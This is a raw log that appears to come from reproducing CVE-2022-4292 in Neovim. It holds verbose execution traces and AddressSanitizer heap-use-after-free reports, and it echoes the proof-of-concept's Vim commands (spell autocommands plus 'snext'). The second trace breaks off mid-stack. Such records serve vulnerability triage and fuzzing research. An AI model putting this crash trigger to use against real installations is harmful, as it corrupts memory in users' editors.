somefile\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nSearching for \"spell/xy.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.utf-8.spl\"\nnot found in runtime path: \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.ascii.spl\"\nnot found in runtime path: \"spell/xy.ascii.spl\"\nExecuting SpellFileMissing Autocommands for \"*\"\nautocommand n0\n\nExecuting: n0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nautocommand bw\n\nExecuting: bw\n\nExecuting: unlet! b:keymap_name\n\nSearching for \"spell/xy.utf-8.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.utf-8.spl\"\nnot found in runtime path: \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in runtime path\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/usr/local/lib/nvim/spell/xy.ascii.spl\"\nnot found in runtime path: \"spell/xy.ascii.spl\"\nline 5: autocmd VimEnter * call spellfile#LoadFile('xy')|set spell\n=================================================================\n==11737==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003110 at pc 0x000000ec130b bp 0x7ffd495e45d0 sp 0x7ffd495e45c8\nREAD of size 8 at 0x626000003110 thread T0\n    #0 0xec130a in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2290:17\n    #1 0x8b3535 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2795:11\n    #2 0x8df215 in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1180:9\n    #3 0x8de330 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1212:5\n    #4 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #5 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #6 0x8723c6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #7 0x86ef33 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #8 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #9 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #10 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #11 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #12 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #13 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #14 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #15 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #16 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #17 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #18 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #19 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #20 0x7fe11dd46082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #21 0x45df4d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x45df4d)\n\n0x626000003110 is located 16 bytes inside of 10752-byte region [0x626000003100,0x626000005b00)\nfreed by thread T0 here:\n    #0 0x4d640d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d640d)\n    #1 0xb5f304 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x65cc85 in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1662:7\n    #3 0x65fbcd in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1264:10\n    #4 0xec23ed in spell_load_lang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:1685:14\n    #5 0xec059a in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2156:9\n    #6 0x8b3535 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2795:11\n    #7 0x8df215 in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1180:9\n    #8 0x8de330 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1212:5\n    #9 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #10 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #11 0x8723c6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #12 0x86ef33 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #13 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #14 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #15 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #16 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #17 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #18 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #19 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #20 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #21 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #22 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #23 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #24 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #25 0x7fe11dd46082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d6802 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.6.1-ASAN+0x4d6802)\n    #1 0xb5f39e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x10be329 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4677:19\n    #3 0x10cb9b0 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1180:12\n    #4 0x10b5cb6 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:934:10\n    #5 0x8de9ad in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1149:11\n    #6 0x8de330 in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1212:5\n    #7 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #8 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #9 0x8723c6 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1114:5\n    #10 0x86ef33 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1580:11\n    #11 0x86cd35 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:459:11\n    #12 0x887a44 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:3008:9\n    #13 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #14 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #15 0x8e8b1c in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2242:5\n    #16 0x8e57f2 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1805:14\n    #17 0x8e5dd0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1786:3\n    #18 0x901cb0 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1983:5\n    #19 0x8f40b2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:604:20\n    #20 0x8f7a53 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:288:10\n    #21 0xabfaae in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1654:5\n    #22 0xab8096 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:493:5\n    #23 0x7fe11dd46082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2290:17 in did_set_spelllang\nShadow bytes around the buggy address:\n  0x0c4c7fff85d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n=>0x0c4c7fff8620: fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==11737==ABORTING\n\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: func Test_spell_file_missing_bwipe()\n\nline 12: \n\nline 13: call Test_spell_file_missing_bwipe()\n\ncalling function Test_spell_file_missing_bwipe()\n\nline 1:   set spelllang=xy\n\nSearching for \"spell/xy.vim\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.vim\"\nSearching for \"/etc/xdg/nvim/spell/xy.vim\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.vim\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.vim\"\nSearching for \"/usr/share/nvim/site/spell/xy.vim\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.vim\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.vim\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.vim\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.vim\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.vim\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.vim\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.vim\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.vim\"\nnot found in 'runtimepath': \"spell/xy.vim\"\nline 2:   au SpellFileMissing * n0\n\nline 3:   set spell\n\nSearching for \"spell/xy.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.utf-8.spl\"\nnot found in 'runtimepath': \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.ascii.spl\"\nSearching for \"/etc/xdg/nvim/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.ascii.spl\"\nnot found in 'runtimepath': \"spell/xy.ascii.spl\"\nExecuting SpellFileMissing Auto commands for \"*\"\nautocommand n0\n\nline 0: n0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\n\"0\" [New File]\nline 0: unlet! b:keymap_name\n\nSearching for \"spell/xy.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.utf-8.spl\"\nnot found in 'runtimepath': \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.ascii.spl\"\nSearching for \"/etc/xdg/nvim/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.ascii.spl\"\nnot found in 'runtimepath': \"spell/xy.ascii.spl\"\nline 3: autocmd VimEnter * call spellfile#LoadFile('xy')|set spell\n\nline 4:   au SpellFileMissing * bw\n\nline 5:   snext somefile\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\n\"somefile\" [New File]\nSearching for \"spell/xy.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.utf-8.spl\"\nnot found in 'runtimepath': \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.ascii.spl\"\nSearching for \"/etc/xdg/nvim/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.ascii.spl\"\nnot found in 'runtimepath': \"spell/xy.ascii.spl\"\nExecuting SpellFileMissing Auto commands for \"*\"\nautocommand n0\n\nline 0: n0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-4292)\n\"0\" [New file] --No lines in buffer--\nautocommand bw\n\nline 0: bw\n\n\"somefile\" [New File]\nline 0: unlet! b:keymap_name\n\nSearching for \"spell/xy.utf-8.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.utf-8.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.utf-8.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.utf-8.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.utf-8.spl\"\nnot found in 'runtimepath': \"spell/xy.utf-8.spl\"\nSearching for \"spell/xy.ascii.spl\" in \"/home/zzw/.config/nvim,/etc/xdg/nvim,/home/zzw/.local/share/nvim/site,/usr/local/share/nvim/site,/usr/share/nvim/site,/var/lib/snapd/desktop/nvim/site,/usr/local/share/nvim/runtime,/var/lib/snapd/desktop/nvim/site/after,/usr/share/nvim/site/after,/usr/local/share/nvim/site/after,/home/zzw/.local/share/nvim/site/after,/etc/xdg/nvim/after,/home/zzw/.config/nvim/after\"\nSearching for \"/home/zzw/.config/nvim/spell/xy.ascii.spl\"\nSearching for \"/etc/xdg/nvim/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/share/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/runtime/spell/xy.ascii.spl\"\nSearching for \"/var/lib/snapd/desktop/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/usr/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/usr/local/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.local/share/nvim/site/after/spell/xy.ascii.spl\"\nSearching for \"/etc/xdg/nvim/after/spell/xy.ascii.spl\"\nSearching for \"/home/zzw/.config/nvim/after/spell/xy.ascii.spl\"\nnot found in 'runtimepath': \"spell/xy.ascii.spl\"\nline 5: autocmd VimEnter * call spellfile#LoadFile('xy')|set spell\n=================================================================\n==10313==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000007910 at pc 0x000000cd732e bp 0x7ffe85786fb0 sp 0x7ffe85786fa8\nREAD of size 8 at 0x625000007910 thread T0\n    #0 0xcd732d in did_set_spelllang /home/zzw/Desktop/neovim/build/../src/nvim/spell.c:2189:17\n    #1 0x79db7e in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2562:11\n    #2 0x7d1591 in do_argfile /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1886:9\n    #3 0x7d06af in ex_next /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1918:5\n    #4 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #5 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #6 0x691b4a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:21396:3\n    #7 0x677a83 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6358:11\n    #8 0x68211f in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:6119:11\n    #9 0x67e8b6 in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2726:9\n    #10 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #11 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #12 0x7db169 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2973:3\n    #13 0x7d9348 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2718:14\n    #14 0x7d93c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2699:3\n    #15 0x7f7008 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2238:5\n    #16 0x7e584e in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:602:20\n    #17 0x7e91f3 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:278:10\n    #18 0x97c7a7 in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1664:5\n    #19 0x974315 in main 